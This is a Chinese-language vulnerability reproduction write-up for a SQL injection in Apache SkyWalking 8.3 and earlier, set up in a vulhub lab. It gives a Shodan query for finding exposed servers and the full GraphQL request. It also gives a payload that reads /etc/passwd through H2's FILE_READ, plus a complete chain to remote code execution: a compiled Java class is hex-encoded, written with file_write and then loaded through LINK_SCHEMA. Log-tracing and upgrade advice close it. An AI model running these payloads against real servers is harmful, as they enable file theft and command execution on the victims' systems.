Apache Skywalking <=8.3 SQL注入漏洞复现
漏洞简述
Apache Skywalking 是专门为微服务架构和云原生架构系统而设计并且支持分布式链路追踪的APM系统。Skywalking历史上存在两次sql注入漏洞,CVE-2020-9483、CVE-2020-13921。在Apache Skywalking 8.3.0版本及以前的GraphQL接口中,存在一处H2 Database SQL注入漏洞。
Skywalking默认配置下使用的数据库为h2,且使用sa权限启动。
漏洞影响版本
Apache Skywalking <=8.3
Shodan搜索语法
http.favicon.hash:1929532064
漏洞exp
https://github.com/Vulnmachines/ApacheSkywalking
漏洞环境搭建
使用vulhub进行复现。
访问8080端口即可查看Skywalking的页面。
漏洞复现
该sql注入漏洞位于/graphql
,metricName
参数的值被拼接到from
后面。发送如下graphql查询。
POST /graphql HTTP/1.1 Host: vul.zgao.top:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 405 { "query":"query queryLogs($condition: LogQueryCondition) { queryLogs(condition: $condition) { total logs { serviceId serviceName isError content } } } ", "variables":{ "condition":{ "metricName":"sqli", "state":"ALL", "paging":{ "pageSize":10 } } } }
sqli注入读取系统文件
将参数替换为如下sql语句读取系统敏感文件。
INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--
sqli_to_RCE
file_write写入evil类
H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。这里利用H2的file_write函数写入恶意类。
import java.io.IOException; public class evil { static { try { Runtime.getRuntime().exec("touch /tmp/success"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { } }
xxd将class转为16进制
先把上面的java类编译为class。
javac evil.java -target 1.6 -source 1.6
将编译后的evil.class 转为16进制。
xxd -p -c 1000000 evil.class
INFORMATION_SCHEMA.USERS union all select file_write('cafebabe0000003200230a000800140a001500160800170a001500180700190a0005001a07001b07001c0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001901000a536f7572636546696c650100096576696c2e6a6176610c0009000a07001d0c001e001f010012746f756368202f746d702f737563636573730c002000210100136a6176612f696f2f494f457863657074696f6e0c0022000a0100046576696c0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b547261636500210007000800000000000300010009000a0001000b0000001d00010001000000052ab70001b100000001000c000000060001000000030009000d000e0001000b000000190000000100000001b100000001000c0000000600010000000e0008000f000a0001000b0000004f0002000100000012b800021203b6000457a700084b2ab60006b1000100000009000c00050002000c0000001600050000000600090009000c0007000d00080011000a00100000000700024c0700110400010012000000020013','evil.class'))a where 1=? or 1=? or 1=? --
此时查看docker中的文件,发现有新生成的evil.class文件。
LINK_SCHEMA调用evil类
INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --
需要注意,如果使用vulhub的环境进行复现的话,是有两个docker。在命令执行生成的文件是生成在oap的容器中。
溯源排查
目录:skywalking/logs
cat skywalking-oap-server.log | grep -i metric --color -C5
修复建议
- 升级Apache Skywalking 到最新的 v8.4.0 版本。
- 将默认h2数据库替换为其它支持的数据库。
微信赞赏支付宝赞赏
发表评论